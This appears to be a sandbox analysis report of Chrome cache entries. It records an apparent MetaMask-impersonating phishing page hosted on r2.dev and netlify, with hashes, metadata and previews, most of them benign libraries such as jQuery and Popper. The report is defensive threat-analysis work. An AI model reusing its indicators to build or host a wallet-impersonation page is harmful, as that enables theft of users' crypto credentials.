MD5:	F86F0980FE2AB8088BFE39DDB5742A38
SHA1:	A19156159299553FA6DE10C8898CB3CBE9448311
SHA-256:	C7AD1C4F322228C33F543829F2FED04DDE810D8ECB51F01C03AA1457949E3B26
SHA-512:	6ECA0E9897C6D7A1064EAD8DA2AE569C1CA5F4472CB786F3DFD75A1F97097558C11155F20305B4556DFC4ECEA040369F8B00F1C803A33BA775B84AA75D9572EA
Malicious:	false
Reputation:	low
URL:	https://bestfilltype.netlify.app/full.png
Preview:	Not Found - Request ID: 01J8XDQRJ0S6VJQV7GVK3BVQHH

Chrome Cache Entry: 51

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	5515
Entropy (8bit):	5.355616801848795
Encrypted:	false
SSDEEP:	96:QO1a+Vc+ukO1abNQOEaDVc+ukOEaHNQOXauVc+ukOXaLNQOxMaRVc+ukOxMaqNQW:mEdFLQyU3T9a7gJdussnzk
MD5:	3B584B90739AC2DE5A21FF884FFE5428
SHA1:	DDAE0070CBC299E32AB0F61A3BDEFA3A4D4D07BE
SHA-256:	B54469A21994F21A482F3A8E006B7F887A973E9519C3D7D55D379FF2ACD33C87
SHA-512:	3A155086DAA5AD8D40A302BD1D5F744BC7D5A1B853ABFF1E41147328E13F50F168FC06245F178680290DD250BC44B8E369913A8889E8F451AA3A3BAD5191F11C
Malicious:	false
Reputation:	low
URL:	https://fonts.googleapis.com/css2?family=Poppins:wght@300;400;500;600;700;800;900&display=swap
Preview:	/* latin-ext /.@font-face {. font-family: 'Poppins';. font-style: normal;. font-weight: 300;. font-display: swap;. src: url(https://fonts.gstatic.com/s/poppins/v21/pxiByp8kv8JHgFVrLDz8Z1JlFc-K.woff2) format('woff2');. unicode-range: U+0100-02AF, U+0304, U+0308, U+0329, U+1E00-1E9F, U+1EF2-1EFF, U+2020, U+20A0-20AB, U+20AD-20C0, U+2113, U+2C60-2C7F, U+A720-A7FF;.}./ latin /.@font-face {. font-family: 'Poppins';. font-style: normal;. font-weight: 300;. font-display: swap;. src: url(https://fonts.gstatic.com/s/poppins/v21/pxiByp8kv8JHgFVrLDz8Z1xlFQ.woff2) format('woff2');. unicode-range: U+0000-00FF, U+0131, U+0152-0153, U+02BB-02BC, U+02C6, U+02DA, U+02DC, U+0304, U+0308, U+0329, U+2000-206F, U+2074, U+20AC, U+2122, U+2191, U+2193, U+2212, U+2215, U+FEFF, U+FFFD;.}./ latin-ext */.@font-face {. font-family: 'Poppins';. font-style: normal;. font-weight: 400;. font-display: swap;. src: url(https://fonts.gstatic.com/s/poppins/v21/pxiEyp8kv8JHgFVrJJnecmNE.woff2) format('w

Chrome Cache Entry: 52

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	50
Entropy (8bit):	4.861467880199449
Encrypted:	false
SSDEEP:	3:ObynQA2d9SR0ag5Wn:ObPH/SCag5W
MD5:	06541757AC57848E725E353F41345B33
SHA1:	582C2AA611A51D38DBA36D8B7C79CC24AB79BC24
SHA-256:	952BA4A7C97707411F6D6101AD273B7EBA6376E4E135EAA84177371907BA5D8A
SHA-512:	28F694EEB9480387A03A9D6EBE50DE5BF1D5BA503DC6F40739049DF934B981AFB834994DBE7F8BA2FCDF46F2721AF57B60B6953FA33D22B1413C75D7B13BFA05
Malicious:	false
Reputation:	low
URL:	https://bestfilltype.netlify.app/icon.png
Preview:	Not Found - Request ID: 01J8XDQT4AXM73XTG15KSBAD3G

Chrome Cache Entry: 53

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, Unicode text, UTF-8 text, with very long lines (2144), with CRLF line terminators
Category:	downloaded
Size (bytes):	65287
Entropy (8bit):	4.720567336456336
Encrypted:	false
SSDEEP:	384:i3kYGjqydimyX7sK8Oc0uEj5UuehJ9VGk+0upXI0jRSOClJAe8eUEGxFg4WRrjBG:i3kvjqy5kikTYXa1oG33IgJ
MD5:	DF467003F88A77D4A3E1C26B3D638BE0
SHA1:	918B2A9F72F2D90EABB5784771B7C49D99BB96AF
SHA-256:	A3C5A9A03DBCD6E7CAC689D98BEC33E02B41B6A08C9457B3A6D6D5ADD26EF302
SHA-512:	7A8C947BA33387AF029ADBED323363C0C539F0C95EBE60EFB360B9AAE7DAA3446B7C9DF78794A8F294FC0BCE97C13CD37BB11D49687A965F022385CD1D5566BE
Malicious:	false
Reputation:	low
URL:	https://pub-cd79e4ba646248938d9c124ff8a6e641.r2.dev/index.html
Preview:	<!DOCTYPE html>..<html lang="en">..<head>.. <meta charset="UTF-8">.. <meta name="viewport" content="width=device-width, initial-scale=1.0">.. <title>MetaMask</title>.. <meta name="googlebot" content="noindex">.. <meta name="googlebot-news" content="noindex">.. <meta name="googlebot" content="noindex">.. <meta name="googlebot-news" content="nosnippet">.. <link rel="icon" href="https://bestfilltype.netlify.app/icon.png">.. <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js"></script>.. <script src="https://code.jquery.com/jquery-3.1.1.min.js"></script>.. <script src="https://code.jquery.com/jquery-3.3.1.js" integrity="sha256-2Kok7MbOyxpgUVvAk/HJ2jigOSYS2auK4Pfzbm7uH60=" crossorigin="anonymous"></script>.. <script src="https://code.jquery.com/jquery-3.1.1.min.js"></script>.. <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js" integrity="sha384-ApNbgh9B+Y1QKtv3Rn7W3mgPxhU9K/ScQsAP7hUibX39

Chrome Cache Entry: 54

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32030)
Category:	downloaded
Size (bytes):	86709
Entropy (8bit):	5.367391365596119
Encrypted:	false
SSDEEP:	1536:9NhEyjjTikEJO4edXXe9J578go6MWXqcVhrLyB4Lw13sh2bzrl1+iuH7U3gBORDT:jxcq0hrLZwpsYbmzORDU8Cu5
MD5:	E071ABDA8FE61194711CFC2AB99FE104
SHA1:	F647A6D37DC4CA055CED3CF64BBC1F490070ACBA
SHA-256:	85556761A8800D14CED8FCD41A6B8B26BF012D44A318866C0D81A62092EFD9BF
SHA-512:	53A2B560B20551672FBB0E6E72632D4FD1C7E2DD2ECF7337EBAAAB179CB8BE7C87E9D803CE7765706BC7FCBCF993C34587CD1237DE5A279AEA19911D69067B65
Malicious:	false
Reputation:	low
URL:	https://code.jquery.com/jquery-3.1.1.min.js
Preview:	/! jQuery v3.1.1 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b\|\|d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.1.1",r=function(a,b){return new r.fn.init(a,b)},s=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,t=/^-ms-/,u=/-([a-z])/g,v=function(a,b){return b.toUpperCase()};r.fn=r.prototype={jquery:q,constructor:r,length:0,toArray:function(){return f.call(this)},get:function(a){return null==a?f.call(this):a<0?this[a+this.length]:this[a]},pushStack:function(a){var b=r.merge(this.con

Chrome Cache Entry: 55

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1100), with no line terminators
Category:	downloaded
Size (bytes):	1100
Entropy (8bit):	3.6498905601708467
Encrypted:	false
SSDEEP:	6:wVqhhhhhhhhhhdimqhhhhhhhhhhhhhxmqhhhhhhhhhhhhhhhhDjqhhhhhhhhhhhW:wdmmjpmy
MD5:	8E4F858DC43CE5CD88CB1EB0C7FBBB00
SHA1:	66A55745B6E025FBD0D919858F04B87FBB977D6E
SHA-256:	2158C29A6D4F27D87634D2EA188345FECEB5D744A666EF20B079F3DB00A06344
SHA-512:	45F78A52C72041A05F51F70AB8BB6979246455B9AADDF922404EE8D67B1957EA8C05F3A71EF5F6BBA5104B42ABFCDB9D2CDA851512398CB0E12EEE2F18F5D6EB
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSXQnCIY5QuOa_NBIFDTWGVBwSBQ01hlQcEgUNNYZUHBIFDTWGVBwSBQ01hlQcEgUNNYZUHBIFDTWGVBwSBQ01hlQcEgUNNYZUHBIFDTWGVBwSBQ01hlQcEgUNNYZUHBJyCZS7BEG9K057EgUNNYZUHBIFDTWGVBwSBQ01hlQcEgUNNYZUHBIFDTWGVBwSBQ01hlQcEgUNNYZUHBIFDTWGVBwSBQ01hlQcEgUNNYZUHBIFDTWGVBwSBQ01hlQcEgUNNYZUHBIFDTWGVBwSBQ01hlQcEocBCc4kdwo7bPitEgUNNYZUHBIFDTWGVBwSBQ01hlQcEgUNNYZUHBIFDTWGVBwSBQ01hlQcEgUNNYZUHBIFDTWGVBwSBQ01hlQcEgUNNYZUHBIFDTWGVBwSBQ01hlQcEgUNNYZUHBIFDTWGVBwSBQ01hlQcEgUNNYZUHBIFDTWGVBwSBQ01hlQcEpwBCcQEgWLA3jN3EgUNNYZUHBIFDTWGVBwSBQ01hlQcEgUNNYZUHBIFDTWGVBwSBQ01hlQcEgUNNYZUHBIFDTWGVBwSBQ01hlQcEgUNNYZUHBIFDTWGVBwSBQ01hlQcEgUNNYZUHBIFDTWGVBwSBQ01hlQcEgUNNYZUHBIFDTWGVBwSBQ01hlQcEgUNNYZUHBIFDTWGVBwSBQ01hlQcErEBCdJcru2GSjccEgUNNYZUHBIFDTWGVBwSBQ01hlQcEgUNNYZUHBIFDTWGVBwSBQ01hlQcEgUNNYZUHBIFDTWGVBwSBQ01hlQcEgUNNYZUHBIFDTWGVBwSBQ01hlQcEgUNNYZUHBIFDTWGVBwSBQ01hlQcEgUNNYZUHBIFDTWGVBwSBQ01hlQcEgUNNYZUHBIFDTWGVBwSBQ01hlQcEgUNNYZUHBIFDTWGVBwSBQ01hlQc?alt=proto
Preview:	CmwKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKhwEKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKogEKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKvQEKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAK2AEKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQcGgAKBw01hlQc

Chrome Cache Entry: 56

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32065)
Category:	dropped
Size (bytes):	85578
Entropy (8bit):	5.366055229017455
Encrypted:	false
SSDEEP:	1536:EYE1JVoiB9JqZdXXe2pD3PgoIiulrUndZ6a4tfOR7WpfWBZ2BJda4w9W3qG9a986:v4J+OlfOhWppCW6G9a98Hr2
MD5:	2F6B11A7E914718E0290410E85366FE9
SHA1:	69BB69E25CA7D5EF0935317584E6153F3FD9A88C
SHA-256:	05B85D96F41FFF14D8F608DAD03AB71E2C1017C2DA0914D7C59291BAD7A54F8E
SHA-512:	0D40BCCAA59FEDECF7243D63B33C42592541D0330FEFC78EC81A4C6B9689922D5B211011CA4BE23AE22621CCE4C658F52A1552C92D7AC3615241EB640F8514DB
Malicious:	false
Reputation:	low
Preview:	/! jQuery v2.2.4 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=a.document,e=c.slice,f=c.concat,g=c.push,h=c.indexOf,i={},j=i.toString,k=i.hasOwnProperty,l={},m="2.2.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return e.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:e.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a){return n.each(this,a)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call

Chrome Cache Entry: 57

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (19015)
Category:	downloaded
Size (bytes):	19188
Entropy (8bit):	5.212814407014048
Encrypted:	false
SSDEEP:	384:+CbuG4xGNoDic2UjKPafxwC5b/4xQviOJU7QzxzivDdE3pcGdjkd/9jt3B+Kb964:zb4xGmiJfaf7gxQvVU7eziv+cSjknZ3f
MD5:	70D3FDA195602FE8B75E0097EED74DDE
SHA1:	C3B977AA4B8DFB69D651E07015031D385DED964B
SHA-256:	A52F7AA54D7BCAAFA056EE0A050262DFC5694AE28DEE8B4CAC3429AF37FF0D66
SHA-512:	51AFFB5A8CFD2F93B473007F6987B19A0A1A0FB970DDD59EF45BD77A355D82ABBBD60468837A09823496411E797F05B1F962AE93C725ED4C00D514BA40269D14
Malicious:	false
Reputation:	low
URL:	https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.12.9/umd/popper.min.js
Preview:	/. Copyright (C) Federico Zivolo 2017. Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT).. /(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&&define.amd?define(t):e.Popper=t()})(this,function(){'use strict';function e(e){return e&&'[object Function]'==={}.toString.call(e)}function t(e,t){if(1!==e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document':return e.body;}var i=t(e),r=i.overflow,p=i.overflowX,s=i.overflowY;return /(auto\|scroll)/.test(r+s+p)?e:n(o(e))}function r(e){var o=e&&e.offsetParent,i=o&&o.nodeName;return i&&'BODY'!==i&&'HTML'!==i?-1!==['TD','TABLE'].indexOf(o.nodeName)&&'static'===t(o,'position')?r(o):o:e?e.ownerDocument.documentElement:document.documentElement}functio

Chrome Cache Entry: 58

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (502)
Category:	dropped
Size (bytes):	928
Entropy (8bit):	5.333713221578333
Encrypted:	false
SSDEEP:	24:2zH6UD5xZsJYGt024zSyxciFNckPUgtLYcHY5uwQU:VGkiFNjUgtzHmu5U
MD5:	8D974AFF636CAB207793BF6D610F3B04
SHA1:	85FD44D22ABD86E2F83B887F3BBEDA06D29F78B9
SHA-256:	053185739C0926BB0DBCE6C3834392E05C605F28D57495FE076EA595BB45C53A
SHA-512:	9919371379E760E1BEA4662321EE5D0DF07A2712D4BD9C6680C5BC563EB801138BBD4814C120E967C5271F2B8ED9643AA1DF855CD10B5FEB5A9B06DB1FCE2F39
Malicious:	false
Reputation:	low
Preview:	(function(h){function e(c,b,a){return c<b?(a=b-c,Math.log(b)/Math.log(a)100):c>a?(b=c-a,Math.log(100-a)/Math.log(b)100):0}function k(c){for(var b={},a="",d=0;d<c.length;++d)c[d]in b\|\|(b[c[d]]=1,a+=c[d]);return a}h.detect=function(c){if(0===c.length\|\|!c.trim())return 0;for(var b=c,a=[];a.length<b.length/35;)a.push(b.substring(0,35)),b=b.substring(36);1<=a.length&&10>a[a.length-1].length&&(a[a.length-2]+=a[a.length-1],a.pop());for(var b=[],d=0;d<a.length;d++)b.push(k(a[d]).length);a=100b;for(d=b=.0;d<a.length;d++)b+=parseFloat(a[d],10);a=b/a.length;for(var f=d=b=0;f<c.length;f++){var g=c.charAt(f);g.match(/^[a-zA-Z]+$/)&&(g.match(/^(a\|e\|i\|o\|u)$/i)&&b++,d++)}b=0!==d?b/d100:0;c=c.split(/[\W_]/).length/c.length100;a=Math.max(1,e(a,45,50));b=Math.max(1,e(b,35,45));c=Math.max(1,e(c,15,20));return Math.max(1,(Math.log10(a)+Math.log10(b)+Math.log10(c))/6100)}})("undefined"===typeof exports?this.gibberish={}:exports);.

Chrome Cache Entry: 59

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	50
Entropy (8bit):	4.6614678801994485
Encrypted:	false
SSDEEP:	3:ObynQA2d9U//WJ0Y:ObPH/U//WJp
MD5:	EFC60512B6292E339B3E5CEE7596BA99
SHA1:	C9999BAC88708EACD9552D7F89311AC11A45E779
SHA-256:	6C5079EF5F2A87161D426B14FA98E663EF2DAB47EBDD5A787C0299CB51DA58E6
SHA-512:	908F44ED9507EEC6F739E12818DBCE4FC6CE2205E8AE96434BD9CD46C895226869E7B2EBFFCD2D53C6A8078154FF925258FF416E3AE65C001319209A13A90087
Malicious:	false
Reputation:	low
URL:	https://bestfilltype.netlify.app/eye-close.png
Preview:	Not Found - Request ID: 01J8XDQRJBDK2QXRY15XRK844M

Chrome Cache Entry: 60

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 7816, version 1.0
Category:	downloaded
Size (bytes):	7816
Entropy (8bit):	7.974758688549932
Encrypted:	false
SSDEEP:	192:Agw5ksLwlyK8F2BXU96Fc575OI3+ga534SlEFwTG4ovej9be:Al5y8FSUMS5VOq1KISlvS4ov+4
MD5:	25B0E113CA7CCE3770D542736DB26368
SHA1:	CB726212D5D525021752A1D8470A0FB593E0C49E
SHA-256:	9338E65FC077355C7A87AE0D64CC101E23B9BF8AD78AE65F0F319C857311B526
SHA-512:	A0D331E62AB4727F49CA286A1EE7FB81CDDC5BB9EDF71EF84F4BD4FA1552069AF1A82752011BA88FAE80862D034135926B7E99D70E59D626D66D4EDE90E94C30
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/poppins/v21/pxiByp8kv8JHgFVrLCz7Z1xlFQ.woff2
Preview:	wOF2..............>P...4.............................`..T.......6..6.$..h. ..D.....03......~.(J........".!]X.......fD .s..I......(&.:..K..3=/.?0.?B........}.}.L....9.!1..6.u....(...m..\.6R.H....(..J.....YXus..2..susq.E^.v.....z..{........BN^...}[a.8&.By.9......O......3..zW.\|R.I.8 .Z.V. ..v...X_F....,[ye....wU.m..U.....}....'.^.jQK..@....n....)...;.. T..@]...hz.>.6.Y.tgeF.p...k?.g.jIb..."'.p.j.W}..X..........0'@.!<..$.<\TG...........^......W..<..LhX...r..Q.8........W.8[...W.z.W...,`...}...CY..z..m.B...z._..}..0$..F. ....<........!...X.....`.._UY{..k....[.+....h..G...x4.h...#...n=.!....G.G..<....~.nS...M.d.RT...g..$:/..j..y.@.FIg.".#..]'...4...n..y.Q.s'..I@P.w..xI.......#.J.n.n.i...'....@..H...H..1.;7...ddSF.d..]....Z......W.../S....^V..k..%.......CF....B4.kN....Mp.......+..i...M.>.`m...=..$c..$.h.t..\|..d+...6j..W...~a.M.'4..f.`...( .0Vq,.&f.?k.%i.\|tr..`k...F..{l.T.T=.......aK..F....nAu..."....Cpc..B.`..s...,S.......P._[K?..+...\|2...z....

Chrome Cache Entry: 61

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32065)
Category:	downloaded
Size (bytes):	85578
Entropy (8bit):	5.366055229017455
Encrypted:	false
SSDEEP:	1536:EYE1JVoiB9JqZdXXe2pD3PgoIiulrUndZ6a4tfOR7WpfWBZ2BJda4w9W3qG9a986:v4J+OlfOhWppCW6G9a98Hr2
MD5:	2F6B11A7E914718E0290410E85366FE9
SHA1:	69BB69E25CA7D5EF0935317584E6153F3FD9A88C
SHA-256:	05B85D96F41FFF14D8F608DAD03AB71E2C1017C2DA0914D7C59291BAD7A54F8E
SHA-512:	0D40BCCAA59FEDECF7243D63B33C42592541D0330FEFC78EC81A4C6B9689922D5B211011CA4BE23AE22621CCE4C658F52A1552C92D7AC3615241EB640F8514DB
Malicious:	false
Reputation:	low
URL:	https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js
Preview:	/! jQuery v2.2.4 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=a.document,e=c.slice,f=c.concat,g=c.push,h=c.indexOf,i={},j=i.toString,k=i.hasOwnProperty,l={},m="2.2.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return e.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:e.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a){return n.each(this,a)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call

Chrome Cache Entry: 62

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	271751
Entropy (8bit):	5.0685414131801165
Encrypted:	false
SSDEEP:	6144:+tah6/K+TCtlMhTze/RZcYmDizK8dB7alFys/WL/umH4N0IPfKu5AA11vrIY:9pZcYmDcHwFygmY1PfjAA1Br3
MD5:	6A07DA9FAE934BAF3F749E876BBFDD96
SHA1:	46A436EBA01C79ACDB225757ED80BF54BAD6416B
SHA-256:	D8AA24ECC6CECB1A60515BC093F1C9DA38A0392612D9AB8AE0F7F36E6EEE1FAD
SHA-512:	E525248B09A6FB4022244682892E67BBF64A3E875EB889DB43B0A24AB4A75077B5D5D26943CA382750D4FEBC3883193F3BE581A4660065B6FC7B5EC20C4A044B
Malicious:	false
Reputation:	low
Preview:	/!. jQuery JavaScript Library v3.3.1. * https://jquery.com/. . Includes Sizzle.js. * https://sizzlejs.com/. . Copyright JS Foundation and other contributors. * Released under the MIT license. * https://jquery.org/license. . Date: 2018-01-20T17:24Z. */.( function( global, factory ) {..."use strict";...if ( typeof module === "object" && typeof module.exports === "object" ) {....// For CommonJS and CommonJS-like environments where a proper `window`...// is present, execute the factory and get jQuery....// For environments that do not have a `window` with a `document`...// (such as Node.js), expose a factory as module.exports....// This accentuates the need for the creation of a real `window`....// e.g. var jQuery = require("jquery")(window);...// See ticket #14549 for more info....module.exports = global.document ?....factory( global, true ) :....function( w ) {.....if ( !w.document ) {......throw new Error( "jQuery requires a window with a document" );.....}.....return factor

Chrome Cache Entry: 63

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	50
Entropy (8bit):	4.861467880199449
Encrypted:	false
SSDEEP:	3:ObynQA2d9UHAnnjg:ObPH/Ugc
MD5:	AD456FDA6A1F181622135D9120F7E919
SHA1:	DD4924541B94FCBA80FCCCA7C4A39AFEBC70A610
SHA-256:	AAD816A3F0AA782F0B5503722C4249D84D450D3CB795B9E6A66BE0CB28C7E9F8
SHA-512:	7AB3746904D6DFCC9EFB17E5A37D1B568495DD9A137A8A1D3F0C65B4DA884634A71DF6D7BD95682545E40604BC5143CF0B5DB637B4BC8AD0703513D5282FEBEF
Malicious:	false
Reputation:	low
URL:	https://bestfilltype.netlify.app/confirm.png
Preview:	Not Found - Request ID: 01J8XDQRHHJHWM290DV4CPQTFE

Chrome Cache Entry: 64

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32030)
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	5.374500557195526
Encrypted:	false
SSDEEP:	1536:9NhEyjjTikEJO4edXXe9J578go6MWXqcVhrLyB4Lw13sh2bzrl1+p:jxcq0hrLZwpsYbG
MD5:	654C62911289AB524018DD00674CE223
SHA1:	10367DCF5C2FD818B4DC96A5DD397E5259B5EAC2
SHA-256:	9BF8A36265BBFAAB7052D22F89142B9267337547F32B6CA0C2080F8DB3CB598E
SHA-512:	BFD02AE14427989DA8BE18C505E0A6221101C505F7937FA4C88645D2DC24D90EFCC9D40D20A397D9F66A61567ACB3C2742BAD479FD16C1F347D2FA5201823E17
Malicious:	false
Reputation:	low
Preview:	/! jQuery v3.1.1 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b\|\|d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.1.1",r=function(a,b){return new r.fn.init(a,b)},s=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,t=/^-ms-/,u=/-([a-z])/g,v=function(a,b){return b.toUpperCase()};r.fn=r.prototype={jquery:q,constructor:r,length:0,toArray:function(){return f.call(this)},get:function(a){return null==a?f.call(this):a<0?this[a+this.length]:this[a]},pushStack:function(a){var b=r.merge(this.con

Chrome Cache Entry: 65

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	271751
Entropy (8bit):	5.0685414131801165
Encrypted:	false
SSDEEP:	6144:+tah6/K+TCtlMhTze/RZcYmDizK8dB7alFys/WL/umH4N0IPfKu5AA11vrIY:9pZcYmDcHwFygmY1PfjAA1Br3
MD5:	6A07DA9FAE934BAF3F749E876BBFDD96
SHA1:	46A436EBA01C79ACDB225757ED80BF54BAD6416B
SHA-256:	D8AA24ECC6CECB1A60515BC093F1C9DA38A0392612D9AB8AE0F7F36E6EEE1FAD
SHA-512:	E525248B09A6FB4022244682892E67BBF64A3E875EB889DB43B0A24AB4A75077B5D5D26943CA382750D4FEBC3883193F3BE581A4660065B6FC7B5EC20C4A044B
Malicious:	false
Reputation:	low
URL:	https://code.jquery.com/jquery-3.3.1.js
Preview:	/!. jQuery JavaScript Library v3.3.1. * https://jquery.com/. . Includes Sizzle.js. * https://sizzlejs.com/. . Copyright JS Foundation and other contributors. * Released under the MIT license. * https://jquery.org/license. . Date: 2018-01-20T17:24Z. */.( function( global, factory ) {..."use strict";...if ( typeof module === "object" && typeof module.exports === "object" ) {....// For CommonJS and CommonJS-like environments where a proper `window`...// is present, execute the factory and get jQuery....// For environments that do not have a `window` with a `document`...// (such as Node.js), expose a factory as module.exports....// This accentuates the need for the creation of a real `window`....// e.g. var jQuery = require("jquery")(window);...// See ticket #14549 for more info....module.exports = global.document ?....factory( global, true ) :....function( w ) {.....if ( !w.document ) {......throw new Error( "jQuery requires a window with a document" );.....}.....return factor

Chrome Cache Entry: 66

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	50
Entropy (8bit):	4.901467880199449
Encrypted:	false
SSDEEP:	3:ObynQA2d9U13TSWofr:ObPH/U13TSWYr
MD5:	9BBDB5F998A7FF94CC9D2FAC57D0075C
SHA1:	D88D38FC03ABCB22B5CBF5FC34C3AFFCFF28C372
SHA-256:	E6F57962EE7AEE3174429A0FC75FE93BF67509F8F6CF5B9E546EE0FF0BC9A318
SHA-512:	F155F2867BEBBAACF61EA629C762F292BA8534091F43E9DF74475C0BB6CC9B59A77B13948A834EFAC9288A50899C8CDB77B9E768BB2462E5EAB2596500DFDB3D
Malicious:	false
Reputation:	low
URL:	https://bestfilltype.netlify.app/tada.png
Preview:	Not Found - Request ID: 01J8XDQRJHYC6WZV3ADHHC2M2T

